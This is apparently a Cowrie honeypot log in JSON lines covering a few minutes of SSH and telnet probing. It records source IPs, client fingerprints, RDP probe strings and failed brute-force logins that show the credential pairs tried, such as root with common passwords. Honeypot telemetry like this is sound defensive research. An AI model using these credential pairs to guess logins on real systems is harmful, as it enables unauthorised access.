{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:33:50.815093Z","src_ip":"103.219.170.37","session":"faa2c6caceb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":55674,"dst_ip":"10.17.0.5","dst_port":22,"session":"537b8316e1fe","protocol":"ssh","message":"New connection: 152.42.212.128:55674 (10.17.0.5:22) [session: 537b8316e1fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:02.464922Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:02.469919Z","src_ip":"152.42.212.128","session":"537b8316e1fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:02.473840Z","src_ip":"152.42.212.128","session":"537b8316e1fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.5514702796936,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:03.256027Z","src_ip":"192.119.13.58","session":"f043f4e3f0ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":58616,"dst_ip":"159.203.135.109","dst_port":22,"session":"c77895637262","protocol":"ssh","message":"New connection: 103.75.182.198:58616 (159.203.135.109:22) [session: c77895637262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:04.599003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:04.603755Z","src_ip":"103.75.182.198","session":"c77895637262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:04.850951Z","src_ip":"103.75.182.198","session":"c77895637262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:05.601160Z","src_ip":"103.75.182.198","session":"c77895637262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:06.851262Z","src_ip":"103.75.182.198","session":"c77895637262","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34458,"dst_ip":"10.17.0.5","dst_port":23,"session":"516cf9d54e35","protocol":"telnet","message":"New connection: 192.119.13.58:34458 (10.17.0.5:23) [session: 516cf9d54e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:08.564652Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43056,"dst_ip":"10.17.0.5","dst_port":23,"session":"825aaa86ecd3","protocol":"telnet","message":"New connection: 192.119.13.58:43056 (10.17.0.5:23) [session: 825aaa86ecd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:36.342179Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":49220,"dst_ip":"10.17.0.5","dst_port":22,"session":"dac527cd0832","protocol":"ssh","message":"New connection: 200.175.61.207:49220 (10.17.0.5:22) [session: dac527cd0832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:50.511761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:50.515777Z","src_ip":"200.175.61.207","session":"dac527cd0832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:50.676013Z","src_ip":"200.175.61.207","session":"dac527cd0832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asd456","message":"login attempt [root/123asd456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:51.286260Z","src_ip":"200.175.61.207","session":"dac527cd0832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:52.435721Z","src_ip":"200.175.61.207","session":"dac527cd0832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.66599726676941,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:34:55.230529Z","src_ip":"192.119.13.58","session":"516cf9d54e35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.92246627807617,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:35:11.264527Z","src_ip":"192.119.13.58","session":"825aaa86ecd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33340,"dst_ip":"10.17.0.5","dst_port":23,"session":"d41cea7b49d8","protocol":"telnet","message":"New connection: 192.119.13.58:33340 (10.17.0.5:23) [session: d41cea7b49d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:35:17.139454Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36116,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1bb9d3697cf","protocol":"telnet","message":"New connection: 192.119.13.58:36116 (10.17.0.5:23) [session: d1bb9d3697cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:35:17.831376Z"}
{"eventid":"cowrie.session.closed","duration":8.482310771942139,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:35:26.313580Z","src_ip":"192.119.13.58","session":"d1bb9d3697cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.80756664276123,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:35:59.946925Z","src_ip":"192.119.13.58","session":"d41cea7b49d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":51822,"dst_ip":"159.203.135.109","dst_port":22,"session":"56292ec083d5","protocol":"ssh","message":"New connection: 89.108.118.91:51822 (159.203.135.109:22) [session: 56292ec083d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:07.489641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:07.495404Z","src_ip":"89.108.118.91","session":"56292ec083d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:07.638167Z","src_ip":"89.108.118.91","session":"56292ec083d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"y6t5r4e3w2q1","message":"login attempt [root/y6t5r4e3w2q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:08.074978Z","src_ip":"89.108.118.91","session":"56292ec083d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:09.222857Z","src_ip":"89.108.118.91","session":"56292ec083d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":44736,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3b0b2428837","protocol":"ssh","message":"New connection: 200.175.61.207:44736 (10.17.0.5:22) [session: b3b0b2428837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:17.120338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:17.125558Z","src_ip":"200.175.61.207","session":"b3b0b2428837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:17.271585Z","src_ip":"200.175.61.207","session":"b3b0b2428837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty12345","message":"login attempt [root/Qwerty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:17.886741Z","src_ip":"200.175.61.207","session":"b3b0b2428837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:19.035087Z","src_ip":"200.175.61.207","session":"b3b0b2428837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49048,"dst_ip":"10.17.0.5","dst_port":23,"session":"40ec1d25b568","protocol":"telnet","message":"New connection: 192.119.13.58:49048 (10.17.0.5:23) [session: 40ec1d25b568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:19.079801Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":54428,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e472ee76c9e","protocol":"ssh","message":"New connection: 176.65.148.108:54428 (10.17.0.5:22) [session: 1e472ee76c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:20.890669Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:20.975041Z","src_ip":"176.65.148.108","session":"1e472ee76c9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.108","src_port":54438,"dst_ip":"10.17.0.5","dst_port":22,"session":"500fb98a0a1e","protocol":"ssh","message":"New connection: 176.65.148.108:54438 (10.17.0.5:22) [session: 500fb98a0a1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:21.053442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:21.061412Z","src_ip":"176.65.148.108","session":"500fb98a0a1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:21.144271Z","src_ip":"176.65.148.108","session":"500fb98a0a1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"5434","message":"login attempt [aaa/5434] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:21.391116Z","src_ip":"176.65.148.108","session":"500fb98a0a1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:22.476090Z","src_ip":"176.65.148.108","session":"500fb98a0a1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":49232,"dst_ip":"159.203.135.109","dst_port":22,"session":"4191de517956","protocol":"ssh","message":"New connection: 193.37.70.224:49232 (159.203.135.109:22) [session: 4191de517956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:30.010820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:30.018168Z","src_ip":"193.37.70.224","session":"4191de517956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:30.112944Z","src_ip":"193.37.70.224","session":"4191de517956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qawsed123","message":"login attempt [root/qawsed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:30.394748Z","src_ip":"193.37.70.224","session":"4191de517956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:31.488378Z","src_ip":"193.37.70.224","session":"4191de517956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":56653,"dst_ip":"159.203.135.109","dst_port":22,"session":"195297d380e7","protocol":"ssh","message":"New connection: 167.172.81.52:56653 (159.203.135.109:22) [session: 195297d380e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:38.445596Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:38.450441Z","src_ip":"167.172.81.52","session":"195297d380e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:38.457028Z","src_ip":"167.172.81.52","session":"195297d380e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":47320,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7d5260d9907","protocol":"ssh","message":"New connection: 147.45.197.250:47320 (10.17.0.5:22) [session: d7d5260d9907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:51.514647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:36:51.518889Z","src_ip":"147.45.197.250","session":"d7d5260d9907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa